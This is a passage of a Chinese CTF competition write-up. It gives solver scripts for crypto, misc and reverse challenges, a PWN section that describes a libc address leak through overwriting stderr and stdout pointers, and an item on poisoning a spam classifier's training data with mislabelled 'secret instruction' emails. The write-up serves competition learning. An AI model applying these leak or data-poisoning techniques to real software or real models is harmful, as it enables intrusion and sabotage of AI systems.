{len(malicious_ips)}")\n    print("\u6076\u610fIP\u5217\u8868:")\n    for ip in malicious_ips:\n        print(f"  {ip}")\n\n    if malicious_ips:\n        flag = "flag{" + ":".join(malicious_ips) + "}"\n        print(f"\\nFlag: {flag}")\n    else:\n        print("\\n\u672a\u68c0\u6d4b\u5230\u7b26\u5408\u6761\u4ef6\u7684\u6076\u610fIP")\n\nif __name__ == "__main__":\n    main() <\/code><\/pre>\n
\"\"<\/p>\n
crypto<\/h1>\n
AES_GCM_IV_Reuse<\/h2>\n
from Crypto.Cipher import AES\nfrom binascii import unhexlify\n\nknown_plaintext = "The flag is hidden somewhere in this encrypted system."\nknown_ciphertext = unhexlify("b7eb5c9e8ea16f3dec89b6dfb65670343efe2ea88e0e88c490da73287c86e8ebf375ea1194b0d8b14f8b6329a44f396683f22cf8adf8")\ntarget_ciphertext = unhexlify("85ef58d9938a4d1793a993a0ac0c612368cf3fa8be07d9dd9f8c737d299cd9adb76fdc1187b6c3a00c866a20")\n\ndef recover_gcm_key(known_pt, known_ct, target_ct):\n\n    keystream = bytes(a ^ b for a, b in zip(known_ct, known_pt.encode()))\n\n    decrypted = bytes(a ^ b for a, b in zip(target_ct, keystream))\n\n    return decrypted\n\nflag = recover_gcm_key(known_plaintext, known_ciphertext, target_ciphertext)\nprint(f"\u89e3\u5bc6\u5f97\u5230\u7684flag: {flag.decode()}")\n<\/code><\/pre>\n
\"\"<\/p>\n
flag{GCM_IV_r3us3_1s_d4ng3r0us_f0r_s3cur1ty}<\/p>\n
\u591a\u91cdCaesar\u5bc6\u7801<\/h2>\n
#!\/usr\/bin\/env python3\n# -*- coding: utf-8 -*-\n"""\n\u6539\u8fdb\u7684\u51ef\u6492\u5bc6\u7801\u89e3\u5bc6\u811a\u672c\n"""\n\ndef caesar_decrypt_multi(ciphertext, shifts):\n    """\n    \u591a\u91cd\u4f4d\u79fb\u51ef\u6492\u89e3\u5bc6\n    """\n    result = ""\n    shift_index = 0\n\n    for char in ciphertext:\n        if char.isalpha():\n            shift = shifts[shift_index % len(shifts)]\n            ascii_offset = 65 if char.isupper() else 97\n            decrypted_char = chr((ord(char) - ascii_offset - shift) % 26 + ascii_offset)\n            result += decrypted_char\n            shift_index += 1\n        else:\n            result += char\n\n    return result\n\ndef decrypt_flag():\n    """\n    \u89e3\u5bc6CTF flag\n    """\n    # \u5bc6\u6587\n    ciphertext = "myfz{hrpa_pfxddi_ypgm_xxcqkwyj_dkzcvz_2025}"\n\n    # \u8d28\u6570\u4f4d\u79fb\u5e8f\u5217\uff08\u4e0e\u52a0\u5bc6\u65f6\u76f8\u540c\uff09\n    prime_shifts = [7, 13, 5, 19, 3, 17, 23, 2, 13, 5, 19, 11, 3, 17, 2, 7, 13, 5, 11, 3, 17, 23, 2, 7, 13, 5, 11, 3, 17, 23, 2, 7]\n\n    # \u6267\u884c\u89e3\u5bc6\n    plaintext = caesar_decrypt_multi(ciphertext, prime_shifts)\n\n    return plaintext\n\nif __name__ == "__main__":\n    # \u89e3\u5bc6\u5e76\u8f93\u51fa\u7ed3\u679c\n    result = decrypt_flag()\n\n    print("\u89e3\u5bc6\u7ed3\u679c:")\n    print(result) <\/code><\/pre>\n
\"\"<\/p>\n
flag{easy_caesar_with_multiple_shifts_2025}<\/p>\n
rsa-dl_leak<\/h2>\n
from Crypto.Util.number import long_to_bytes\nimport math\n\ndef solve(n, e, t, d_low, c):\n    a = e * (1 << t)\n    b = (e * d_low - 1) % a\n\n    for k in range(1, e):\n        g = math.gcd(k, a)\n        if b % g != 0:\n            continue\n\n        a1, k1, b1 = a \/\/ g, k \/\/ g, b \/\/ g\n        if math.gcd(k1, a1) != 1:\n            continue\n\n        phi0 = (b1 * pow(k1, -1, a1)) % a1\n        z0 = (n - phi0) \/\/ a1\n\n        for dz in range(-3, 4):\n            phi = phi0 + a1 * (z0 + dz)\n            if not (1 < phi < n):\n                continue\n\n            s = n - phi + 1\n            r = math.isqrt(s * s - 4 * n)\n            if r * r != s * s - 4 * n:\n                continue\n\n            p = (s - r) \/\/ 2\n            q = (s + r) \/\/ 2\n            if p * q == n:\n                d = pow(e, -1, (p - 1) * (q - 1))\n                return long_to_bytes(pow(c, d, n))\n\n    return None\n\nn = 143504495074135116523479572513193257538457891976052298438652079929596651523432364937341930982173023552175436173885654930971376970322922498317976493562072926136659852344920009858340197366796444840464302446464493305526983923226244799894266646253468068881999233902997176323684443197642773123213917372573050601477\nc = 141699518880360825234198786612952695897842876092920232629929387949988050288276438446103693342179727296549008517932766734449401585097483656759727472217476111942285691988125304733806468920104615795505322633807031565453083413471250166739315942515829249512300243607424590170257225854237018813544527796454663165076\ne = 65537\nt = 530\nd_low = 1761714636451980705225596515441824697034096304822566643697981898035887055658807020442662924585355268098963915429014997296853529408546333631721472245329506038801\n\nprint(solve(n, e, t, d_low, c))  <\/code><\/pre>\n
\"\"<\/p>\n
flag{Res0lv1ng_the_c0mpos1te_numb3r}<\/p>\n
MISC<\/h1>\n
derderjia<\/h2>\n
\"\"tls\u5bc6\u94a5<\/strong><\/p>\n
SERVER_HANDSHAKE_TRAFFIC_SECRET 8736827acbd4e800d94e5bc87cdbab64f0d77fc6724acda32a7ee24f7c60db50 9f78e4604953f8aab6623774bd88a9720fde4d6303619847242c0cd00c64ff2644b83823dee3e08577552389d5af52de\nEXPORTER_SECRET 8736827acbd4e800d94e5bc87cdbab64f0d77fc6724acda32a7ee24f7c60db50 54b708ed18540ab2b7b7b54d49692a07ccc9dd7ec34a1e3df4ecdc3c53146f799d794ab805cf9b21c08d464aeff64f42\nSERVER_TRAFFIC_SECRET_0 8736827acbd4e800d94e5bc87cdbab64f0d77fc6724acda32a7ee24f7c60db50 486c14091928a932ff17e9cd52111548837f0b6cbe372264086f45d668862e4c0ea792cbbd9bfba1468834f5eebd5f69\nCLIENT_HANDSHAKE_TRAFFIC_SECRET 8736827acbd4e800d94e5bc87cdbab64f0d77fc6724acda32a7ee24f7c60db50 c89356f603c98d9257b9391dde781e115f6133d4d9c9be704d77843f7cb9ec82488c46195660b5059ca742bd1da01c17\nCLIENT_TRAFFIC_SECRET_0 8736827acbd4e800d94e5bc87cdbab64f0d77fc6724acda32a7ee24f7c60db50 6f3912fd7864676affa95e344a8fcbd1d2f452c0b00b7969bffff93a9149313a2d07438164dbc3d36de6888b3bee4e9c\nSERVER_HANDSHAKE_TRAFFIC_SECRET ce5146a2783f8a34f0acbc25e2d2203d65ae09be6cc1ebbc5c5aa782149d3fbf afa6b2942173a3137105ad1a7318413c4555f39be24d98363eb934d9d4673b0c4846efad533da90549db01826c26963e\nEXPORTER_SECRET ce5146a2783f8a34f0acbc25e2d2203d65ae09be6cc1ebbc5c5aa782149d3fbf 9334222dde7ed136e73d4ded2af66fab4cd2ed099a438e60ad221d1e0e95e3e694b98b2e45a7444d4f2d38213e64981e\nSERVER_TRAFFIC_SECRET_0 ce5146a2783f8a34f0acbc25e2d2203d65ae09be6cc1ebbc5c5aa782149d3fbf 213d59d6262f24428d0daf8ee557d7cc0a776aaffc5e706c3a5871d61f83e90d1932586c463a1452fc4d0a491e500d55\nCLIENT_HANDSHAKE_TRAFFIC_SECRET ce5146a2783f8a34f0acbc25e2d2203d65ae09be6cc1ebbc5c5aa782149d3fbf bfc79bee6244302f1a0091e6cd289131ede8f17a0d42f09b32970a1091002db1cf1b10cf0b1e1097490daacbc8c53aef\nCLIENT_TRAFFIC_SECRET_0 ce5146a2783f8a34f0acbc25e2d2203d65ae09be6cc1ebbc5c5aa782149d3fbf d93ae56aa54258dc541f74ae06b137bdffb00b18f0b3bffadf0a7999b6f71fde5257e1209d08a9765bccf5f7c25c6a76<\/code><\/pre>\n
\"\"<\/p>\n
\u914d\u7f6e\u8def\u5f84\u5bfc\u51fa\u89e3\u5bc6\u7684\u5305\u5bfc\u51fazip<\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
\u5047\u7684flag\u4e0d\u5bf9<\/p>\n
\u6211\u4eec\u627e\u5230dns\u6d41\u91cf\u8fdb\u884c\u89e3\u5bc6PanShi2025!<\/p>\n
\"\"<\/p>\n
\u56fe\u7247\u4e0d\u5b8c\u6574\u6211\u4eec\u4fee\u590d\u4e00\u4e0b<\/p>\n
\"\"<\/p>\n
flag{W0w_Y0u_F0und_M3!}<\/p>\n
\u4e24\u4e2a\u6570<\/h2>\n
\u62ff\u5230\u538b\u7f29\u5305<\/p>\n
\"\"<\/p>\n
\u62ff\u5230\u6570\u636e <\/p>\n
1100001 000011 0111011 1110011 0100111 001011 0010111 1010111 100011 1000011 0010111 1001011 1111011 0111011 100001 100001 1001101 000011 1010111 1111101 0001011 1000011 0110111 110011 1111101 0000111 1000011 1100111 1100111 1010011 0010011 1111101 0010111 0001011 110011 1111101 0110011 1001011 0100111 1100111 0010111 1111101 0011011 110011 0110111 1010011 100011 100001 100001<\/code><\/pre>\n
\u538b\u7f29\u5305\u63d0\u793a <\/p>\n
easy_transform<\/p>\n
\u8fdb\u884c\u89e3\u5bc6<\/p>\n
def binary_to_ascii(binary_str, reverse_bits=False):\n    binary_values = binary_str.strip().split()\n    ascii_chars = []\n\n    for binary in binary_values:\n        try:\n            # \u6839\u636e\u53c2\u6570\u51b3\u5b9a\u662f\u5426\u53cd\u8f6c\u4f4d\u987a\u5e8f\n            processed_bits = binary[::-1] if reverse_bits else binary\n            char_code = int(processed_bits, 2)\n            # \u53ea\u4fdd\u7559\u53ef\u6253\u5370ASCII\u5b57\u7b26(32-126)\uff0c\u5176\u4ed6\u7528?\u4ee3\u66ff\n            ascii_chars.append(chr(char_code) if 32 <= char_code <= 126 else '?')\n        except (ValueError, IndexError):\n            ascii_chars.append('?')  # \u65e0\u6cd5\u89e3\u6790\u7684\u7528\u95ee\u53f7\u4ee3\u66ff\n\n    return ''.join(ascii_chars)\n\ndef main():\n    # \u8f93\u5165\u7684\u4e8c\u8fdb\u5236\u5b57\u7b26\u4e32\n    binary_input = """1100001 000011 0111011 1110011 0100111 001011 0010111 1010111 100011 1000011 0010111 1001011 1111011 0111011 100001 100001 1001101 000011 1010111 1111101 0001011 1000011 0110111 110011 1111101 0000111 1000011 1100111 1100111 1010011 0010011 1111101 0010111 0001011 110011 1111101 0110011 1001011 0100111 1100111 0010111 1111101 0011011 110011 0110111 1010011 100011 100001 100001"""\n\n    # \u6267\u884c\u4e24\u79cd\u8f6c\u6362\n    print("\u666e\u901a\u8f6c\u6362\u7ed3\u679c\uff1a", binary_to_ascii(binary_input))\n    print("\u4f4d\u9006\u8f6c\u6362\u7ed3\u679c\uff1a", binary_to_ascii(binary_input, reverse_bits=True))\n\nif __name__ == "__main__":\n    main()<\/code><\/pre>\n
\"\"<\/p>\n
\u7b2c\u4e00\u5c42\u538b\u7f29\u5305\u5bc6\u7801 <\/p>\n
C0ngr4tu1ation!!Y0u_hav3_passed_th3_first_l3ve1!!<\/p>\n
\"\"<\/p>\n
\u6211\u5c1d\u8bd5\u4f7f\u7528\u7b2c\u4e00\u5c42\u7684\u5bc6\u7801\u53d1\u73b0\u8fd8\u53ef\u4ee5\u89e3\u5bc6<\/p>\n
\"\"<\/p>\n
\u7b2c\u4e09\u5c42\u5c31\u4e0d\u53ef\u4ee5\u4e86<\/p>\n
\"\"<\/p>\n
\u63d0\u793a <\/p>\n
Do you know the Grey Code?<\/p>\n
\u683c\u96f7\u7801\u89e3\u5bc6 <\/p>\n
def decode_custom_gray(binary_chunks):\n    """\n    \u5c06\u81ea\u5b9a\u4e49\u683c\u96f7\u7f16\u7801\u7684\u4e8c\u8fdb\u5236\u5757\u89e3\u7801\u4e3aASCII\u5b57\u7b26\u4e32\n\n    \u53c2\u6570:\n        binary_chunks: \u4e8c\u8fdb\u5236\u5b57\u7b26\u4e32\u5217\u8868\uff0c\u6bcf\u4e2a\u5b57\u7b26\u4e32\u4ee3\u8868\u4e00\u4e2a\u7f16\u7801\u5757\n\n    \u8fd4\u56de:\n        \u89e3\u7801\u540e\u7684ASCII\u5b57\u7b26\u4e32\n    """\n    # \u5b9a\u4e49\u683c\u96f7\u7801\u5230\u56db\u8fdb\u5236\u7684\u6620\u5c04\u89c4\u5219\n    GRAY_TO_BASE4 = {\n        '00': '0',\n        '01': '1',\n        '11': '2',\n        '10': '3'\n    }\n\n    result = []\n\n    for chunk in binary_chunks:\n        # \u8df3\u8fc7\u975e\u5076\u6570\u957f\u5ea6\u7684\u5757\n        if len(chunk) % 2 != 0:\n            continue\n\n        try:\n            # \u5c06\u4e8c\u8fdb\u5236\u5757\u5206\u5272\u4e3a2\u4f4d\u4e00\u7ec4\n            pairs = [chunk[i:i+2] for i in range(0, len(chunk), 2)]\n\n            # \u8f6c\u6362\u4e3a\u56db\u8fdb\u5236\u6570\u5b57\n            base4_digits = []\n            for pair in pairs:\n                if pair in GRAY_TO_BASE4:\n                    base4_digits.append(GRAY_TO_BASE4[pair])\n                else:\n                    raise ValueError(f"\u65e0\u6548\u7684\u4e8c\u8fdb\u5236\u5bf9: {pair}")\n\n            # \u5c06\u56db\u8fdb\u5236\u8f6c\u6362\u4e3a\u5341\u8fdb\u5236\n            decimal_value = int(''.join(base4_digits), 4)\n\n            # \u53ea\u4fdd\u7559\u53ef\u6253\u5370ASCII\u5b57\u7b26(32-126)\n            if 32 <= decimal_value <= 126:\n                result.append(chr(decimal_value))\n            else:\n                result.append('?')\n\n        except (ValueError, KeyError):\n            result.append('?')  # \u65e0\u6548\u7684\u4e8c\u8fdb\u5236\u5bf9\n        except Exception:\n            result.append('?')  # \u5176\u4ed6\u8f6c\u6362\u9519\u8bef\n\n    return ''.join(result)\n\ndef main():\n    # \u6d4b\u8bd5\u6570\u636e\n    binary_chunks = [\n        '01010110', '01110101', '01111000', '01110010',\n        '100000', '01111001', '100010', '01011010', '01010100',\n        '100000', '01011010', '01111000', '100010', '01100111',\n        '01110101', '100001', '01011010', '01100100', '01111100',\n        '01100011', '100010', '01110101', '110001', '110001',\n        '110001', '110001'\n    ]\n\n    decoded = decode_custom_gray(binary_chunks)\n    print("\u89e3\u7801\u7ed3\u679c:", decoded)\n\nif __name__ == "__main__":\n    main()<\/code><\/pre>\n
\u7b2c\u4e09\u5c42\u538b\u7f29\u5305\u5bc6\u7801 <\/p>\n
Welc0m3_T0_l3ve1_thr3e!!!!<\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
\u63d0\u793a <\/p>\n
The flag is almost there!<\/p>\n
010\u8f6c\u56fe\u7247<\/p>\n
from PIL import Image\n\ndata = "1111111011111111011000111111110000010011000101010001000001101110100011000110010010111011011101011010000100010101110110111010000111111000001011101100000100011101111010010000011111111010101010101010111111100000000000000111111100000000001011101000111010100100010010011000000101101111100010001110110010101001111010001110011101001001001100100010001000100110001001100010101001110100011010000110100110000001101111000001100111111000100101011111000110010000011111111111000111010110001110100100110011010011000011010000110011100100111011001110011010100110100111101101000110001001110101010010100100110001111101111111100010000000011110011010110001000011111110010000000001101010111100000101110100010101000100101011101011000001110011111111110111010010101001010000110100101110101111111011010001100011000001000111101111001001101011111110010100011110111100111"\n\n# \u5c06\u5b57\u7b26\u4e32\u8f6c\u6362\u4e3a\u4e00\u4e2a\u65b9\u9635\nside_length = int(len(data)**0.5)  # \u8ba1\u7b97\u77e9\u9635\u7684\u5927\u5c0f\nassert side_length * side_length == len(data), "Data length should be a perfect square."\n\nmatrix = []\nfor i in range(0, len(data), side_length):\n    matrix.append([int(bit) for bit in data[i:i+side_length]])\n\n# \u521b\u5efa\u4e00\u4e2a\u65b0\u7684\u56fe\u50cf\u5bf9\u8c61\nimg = Image.new('1', (side_length, side_length))\n\n# \u5c06\u6570\u636e\u586b\u5145\u5230\u56fe\u50cf\u4e2d\nfor i, row in enumerate(matrix):\n    for j, val in enumerate(row):\n        img.putpixel((j, i), val)\n\n# \u4fdd\u5b58\u56fe\u50cf\nimg.save("qrcode.png")\n\n'''================================================================================================================'''\n\n# from PIL import Image\n# import math\n\n# # \u8bfb\u53d6\u6570\u636e\n# with open("D:\\\\Desktop\\\\out.txt", "r") as f:\n#     data = f.read()\n\n# # \u8ba1\u7b97\u77e9\u9635\u7684\u5927\u5c0f\n# original_length = len(data)\n# side_length = math.ceil(math.sqrt(original_length))  # \u5411\u4e0a\u53d6\u6574\u8ba1\u7b97\u6700\u8fd1\u7684\u5b8c\u5168\u5e73\u65b9\u6570\n\n# # \u5982\u679c\u9700\u8981\uff0c\u8865\u5168\u6570\u636e\n# if side_length * side_length != original_length:\n#     padding_length = side_length * side_length - original_length\n#     data += '0' * padding_length  # \u8865\u5168\u5b57\u7b26\u4e32\uff0c\u8865\u96f6\n\n# # \u5c06\u5b57\u7b26\u4e32\u8f6c\u6362\u4e3a\u4e00\u4e2a\u65b9\u9635\n# matrix = []\n# for i in range(0, len(data), side_length):\n#     matrix.append([int(bit) for bit in data[i:i+side_length]])\n\n# # \u521b\u5efa\u4e00\u4e2a\u65b0\u7684\u56fe\u50cf\u5bf9\u8c61\n# img = Image.new('1', (side_length, side_length))\n\n# # \u5c06\u6570\u636e\u586b\u5145\u5230\u56fe\u50cf\u4e2d\n# for i, row in enumerate(matrix):\n#     for j, val in enumerate(row):\n#         img.putpixel((j, i), val)\n\n# # \u4fdd\u5b58\u56fe\u50cf\n# img.save("qrcode.png")<\/code><\/pre>\n
\"\"<\/p>\n
\"\"<\/p>\n
y0u_g3t_th3_l4st_1ev3llllll!!!!!<\/p>\n
import pathlib\nimport re\n\ndef decode_flag():\n    # \u626b\u63cflast_level\u76ee\u5f55\n    directory = pathlib.Path('last_level')\n    pattern = re.compile(r'^(0|1)\\.(\\d+)$')\n\n    # \u63d0\u53d6\u6570\u636e\n    data = []\n    for file_path in directory.iterdir():\n        match = pattern.match(file_path.name)\n        if match:\n            bit, index_str = match.groups()\n            data.append((int(index_str), bit))\n\n    # \u6309\u7d22\u5f15\u6392\u5e8f\u5e76\u6784\u5efa\u4e8c\u8fdb\u5236\u5b57\u7b26\u4e32\n    sorted_data = sorted(data)\n    binary_string = ''.join(bit for _, bit in sorted_data)\n\n    print(f"\u4e8c\u8fdb\u5236\u5e8f\u5217\u957f\u5ea6: {len(binary_string)}")\n    print(f"\u524d64\u4f4d: {binary_string[:64]}...")\n\n    # \u8f6c\u6362\u4e3aASCII\n    message = ""\n    for i in range(0, len(binary_string), 8):\n        byte = binary_string[i:i+8]\n        if len(byte) == 8:\n            message += chr(int(byte, 2))\n\n    return message\n\nif __name__ == '__main__':\n    flag = decode_flag()\n    print(f"\\nFLAG: {flag}") <\/code><\/pre>\n
\"\"<\/p>\n
flag{92e321a1-43a7-2661-afe4-705021b782f3}<\/p>\n
esay_misc<\/h2>\n
\u4e8c\u7ef4\u7801\u5206\u79bb\u538b\u7f29\u5305\u4f2a\u52a0\u5bc6<\/p>\n
\"\"<\/p>\n
what\u89e3\u5bc6ook<\/p>\n
\"\"<\/p>\n
y0u_c@t_m3!!!<\/p>\n
\"\"<\/p>\n
flag{3088eb0b-6e6b-11ed-9a10-145afc243ea2}<\/p>\n
ModelUnguilty<\/h2>\n
ai\u5206\u6790<\/p>\n
\u7b56\u7565\uff1a\u6211\u9700\u8981\u5728\u8bad\u7ec3\u96c6\u4e2d\u52a0\u5165\u4e00\u4e9b\u5305\u542b"secret instruction"\u6216\u7c7b\u4f3c\u8bcd\u6c47\u7684\u90ae\u4ef6\uff0c\u5e76\u5c06\u5b83\u4eec\u6807\u8bb0\u4e3anot_spam\uff0c\u4ee5"\u6bd2\u5316"\u8bad\u7ec3\u6570\u636e\uff0c\u8ba9\u6a21\u578b\u5b66\u4f1a\u628a\u8fd9\u7c7b\u90ae\u4ef6\u8bc6\u522b\u4e3a\u6b63\u5e38\u90ae\u4ef6\u3002<\/p>\n
\"\"<\/p>\n
\u5728training_data.csv\u4e2d\u6dfb\u52a0<\/p>\n
\"\"<\/p>\n
flag{yZ631WDM4z8nQgf7SobFcRKspBN2AhXL}<\/p>\n
web<\/h1>\n
ezDecryption<\/h2>\n
\"\"<\/p>\n
\u770bjs<\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
\u6293\u5305<\/p>\n
\"\"<\/p>\n
flag{d1g1t4l_l0ck_br34k3r_2025}<\/p>\n
reverse<\/h1>\n
My-Key<\/h2>\n
\"\"<\/p>\n
\u64cd\u4f5c\u7684\u5bc6\u6587<\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
import base64\n\ndef rotate_right_32(val, bits):\n    bits &= 0x1F\n    return ((val >> bits) | (val << (32 - bits))) & 0xFFFFFFFF\n\ndef rotate_left_32(val, bits):\n    bits &= 0x1F\n    return ((val << bits) | (val >> (32 - bits))) & 0xFFFFFFFF\n\ndef custom_decrypt(blocks, round_keys):\n    a, b, c, d = blocks[0], blocks[1], blocks[2], blocks[3]\n    a = (a - round_keys[42]) & 0xFFFFFFFF\n    c = (c - round_keys[43]) & 0xFFFFFFFF\n\n    for round_num in range(20, 0, -1):\n        c, d = d, c\n        b, c = c, b\n        a, b = b, a\n\n        t = rotate_left_32(((2 * b + 1) * b) & 0xFFFFFFFF, 5)\n        u = rotate_left_32(((2 * d + 1) * d) & 0xFFFFFFFF, 5)\n\n        c = rotate_right_32((c - round_keys[2 * round_num + 1]) & 0xFFFFFFFF, t) ^ u\n        a = rotate_right_32((a - round_keys[2 * round_num]) & 0xFFFFFFFF, u) ^ t\n\n    b = (b - round_keys[0]) & 0xFFFFFFFF\n    d = (d - round_keys[1]) & 0xFFFFFFFF\n    return [a, b, c, d]\n\nencoded_data = b'RKCTaz+fty1J2qsz4DI6t9bmMiLBxqFrpI70fU4IMemczIlM+z1IoVQobIt1MbXF'\ndecoded_bytes = base64.b64decode(encoded_data)\n\nblocks_list = []\nfor offset in range(0, 0x30, 4):\n    val = (decoded_bytes[offset] |\n           (decoded_bytes[offset + 1] << 8) |\n           (decoded_bytes[offset + 2] << 16) |\n           (decoded_bytes[offset + 3] << 24))\n    blocks_list.append(val)\n\nsalt_keys = [\n    0x7368aae0, 0x7254cd7d, 0xfad4aae2, 0x9c030c41, 0x5d72ca51, 0xadca53f4,\n    0x1326ef25, 0x48c1148f, 0x0d1c2640, 0x1632916d, 0xb54ffcf8, 0x972c5ff9,\n    0x6b3464ec, 0x89b4fdb3, 0x512da5be, 0x85183704, 0xb80d88b3, 0xcd8e0552,\n    0x4fb3d88c, 0xe2a68174, 0x406835df, 0x53491aa5, 0x53447c05, 0xdb4fcbfa,\n    0x3104dcd8, 0xb9d6f922, 0xe5531f6e, 0xab30b64e, 0xc87b4ba0, 0x9821b17e,\n    0xb0fbaadc, 0xd83972c2, 0x7c81fe11, 0x99bc6ee0, 0xbaa16a68, 0x158eeda9,\n    0x2a58205b, 0xc985b1cc, 0xd7210be3, 0x5d5bbf7b, 0x64eb76c2, 0x44e3c8d8,\n    0xd9dfc75f, 0x541c238d\n]\n\ninitial_key = [0x34456357, 0x346d6242, 0x5159486b, 0x58634173] + blocks_list\n\ndecrypted_flag = bytearray(0x30)\n\nfor block_index in range(2, -1, -1):\n    decrypted_block = custom_decrypt(blocks_list[block_index*4 : block_index*4 + 4], salt_keys)\n    for i in range(4):\n        val = decrypted_block[i] ^ initial_key[block_index * 4 + i]\n        base_pos = block_index * 16 + i * 4\n        decrypted_flag[base_pos]     = val & 0xFF\n        decrypted_flag[base_pos + 1] = (val >> 8) & 0xFF\n        decrypted_flag[base_pos + 2] = (val >> 16) & 0xFF\n        decrypted_flag[base_pos + 3] = (val >> 24) & 0xFF\n\nprint(decrypted_flag.decode())\n<\/code><\/pre>\n
\"\"<\/p>\n
flag{68f25cc8-1a9f-40e8-ac3b-a85982a52f8f}<\/p>\n
EasyRE<\/h2>\n
\u7b97\u6cd5<\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
byte_14001D658\u6570\u636e    <\/p>\n
final_ciphertext = [\n    0x93, 0xF9, 0x8D, 0x92, 0x52, 0x57, 0xD9, 0x05, 0xC6, 0x0A, 0x50,\n    0xC7, 0xDB, 0x4F, 0xCB, 0xD8, 0x5D, 0xA6, 0xB9, 0x40, 0x95, 0x70,\n    0xE7, 0x9A, 0x37, 0x72, 0x4D, 0xEF, 0x57\n]\n\ndef ROR(b, n):\n    return ((b >> n) | (b << (8 - n))) & 0xFF\n\n# \u6062\u590d\u9636\u6bb52\u4e2d\u95f4\u5bc6\u6587\nintermediate = [final_ciphertext[0] ^ 0x42] + [\n    final_ciphertext[k] ^ 0x42 ^ final_ciphertext[k-1] for k in range(1, 29)\n]\n\nS = list(range(256))\nj = 0\nfor i in range(256):\n    key = (i % 7 + 55) % 256\n    j = (j + S[i] + key) % 256\n    S[i], S[j] = S[j], S[i]\n\ni = j = 0\nflag = ""\nfor k in range(29):\n    i = (i + 1) % 256\n    j = (j + (S[3*i % 256] if i % 3 == 0 else S[i])) % 256\n    S[i], S[j] = S[j], S[i]\n    ks1 = (i * j) % 16\n    ks2 = S[(S[i] + S[j]) % 256]\n    pt = (ROR(intermediate[k], 3) - ks1) % 256 ^ ks2\n    flag += chr(pt)\n\nprint("Flag:", flag)<\/code><\/pre>\n
\"\"<\/p>\n
flag{Th1s_1s_A_Fl4w3d_Crypt0}<\/p>\n
cookie<\/h2>\n
\"\"<\/p>\n
\"\"<\/p>\n
\u6539xxtea<\/p>\n
\"\"<\/p>\n
#!\/usr\/bin\/env python3\n# -*- coding: utf-8 -*-\n\n"""\nTEA-like algorithm decryption script\nDecrypts the flag from ciphertext using a custom TEA-like algorithm\n"""\n\ndelta = 1988930350  # Constant from source code\nKEY = [2, 0, 2, 2]  # Key array from source code\n\n# Ciphertext (v7 array) taken directly from disassembly\nCIPHERTEXT = [\n    1452940357, -282301936,\n    -79426602, 1469576221,\n    1379922627, 1211333849,\n    907455533, 112603437\n]\n\ndef to_u32(x: int) -> int:\n    """Convert to 32-bit unsigned integer"""\n    return x & 0xFFFFFFFF\n\ndef f(v5: int, v6: int) -> int:\n    """\n    The v4 increment function from source:\n    v6 ^ (v5+v6) ^ (16*v5 + KEY[0]) ^ ((v5>>5) + KEY[1])\n    """\n    v6_u = to_u32(v6)\n    v5_u = to_u32(v5)\n    return to_u32(\n        v6_u ^ to_u32(v5_u + v6_u) ^ \n        to_u32(16 * v5_u + KEY[0]) ^ \n        to_u32((v5_u >> 5) + KEY[1])\n    )\n\ndef g(v4: int, v6: int) -> int:\n    """\n    The v5 increment function from source:\n    v6 ^ (v4+v6) ^ (16*v4 + KEY[2]) ^ ((v4>>5) + KEY[3])\n    """\n    v6_u = to_u32(v6)\n    v4_u = to_u32(v4)\n    return to_u32(\n        v6_u ^ to_u32(v4_u + v6_u) ^ \n        to_u32(16 * v4_u + KEY[2]) ^ \n        to_u32((v4_u >> 5) + KEY[3])\n    )\n\ndef decrypt_block(c4: int, c5: int) -> tuple[int, int]:\n    """\n    Decrypts a pair of 32-bit ciphertext (c4, c5) through 32 rounds,\n    returning the original (v4, v5) plaintext.\n    """\n    v4 = to_u32(c4)\n    v5 = to_u32(c5)\n\n    # Reverse iterate through 32 rounds\n    for j in reversed(range(32)):\n        v6 = -delta * (j + 1)\n        # Reverse step 2: v5_j = v5_{j+1} - g(v4_{j+1}, v6)\n        v5 = to_u32(v5 - g(v4, v6))\n        # Reverse step 1: v4_j = v4_{j+1} - f(v5_j, v6)\n        v4 = to_u32(v4 - f(v5, v6))\n\n    return v4, v5\n\ndef main():\n    # Decrypt 4 blocks (8 bytes each)\n    plaintext = bytearray(32)\n\n    for i in range(4):\n        c4 = CIPHERTEXT[2*i]\n        c5 = CIPHERTEXT[2*i+1]\n        p4, p5 = decrypt_block(c4, c5)\n\n        # Store in little-endian\n        plaintext[8*i:8*i+4] = p4.to_bytes(4, 'little')\n        plaintext[8*i+4:8*i+8] = p5.to_bytes(4, 'little')\n\n    try:\n        flag = plaintext.decode('ascii').strip('\\x00')\n    except UnicodeDecodeError:\n        # If contains non-printable chars, show hex\n        flag = plaintext.hex()\n\n    print("\\nDecrypted flag:")\n    print(flag)\n\nif __name__ == "__main__":\n    main()<\/code><\/pre>\n
PWN<\/h1>\n
User<\/h3>\n
\"\"<\/p>\n
\u7ecf\u5178\u83dc\u5355\u9898<\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
Free\u4e86 \u4f46\u662f\u53c8cdqe\u6269\u5c55<\/p>\n
\"\"<\/p>\n
Data\u6bb5\u6700\u5e95\u90e8\u5b58\u5728 __dso_handle\u6307\u9488\u6307\u5411\u81ea\u8eab<\/p>\n
\u53c8\u56e0\u4e3astderr\u4e5f\u5728bss\u6bb5\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7dso_handle\u6539\u81ea\u5df1\u4e3astderr\u5730\u5740\uff0c\u518d\u4fee\u6539stderr<\/p>\n
\u7684\u4f4e\u5b57\u8282\u4f7f\u5176\u6307\u5411stdout\u7684\u7f13\u51b2\u533a\u6307\u9488\uff0c\u8fd9\u6837\u5c31\u80fd\u591f\u8f93\u51fabase-ptr\u7684\u6240\u6709\u5185\u5bb9\u4ece\u800c\u5f97\u5230Iibc\u5730\u5740\u4e86\u3002<\/p>\n
\"\"<\/p>\n
\u4fdd\u62a4\u5168\u5f00<\/p>\n
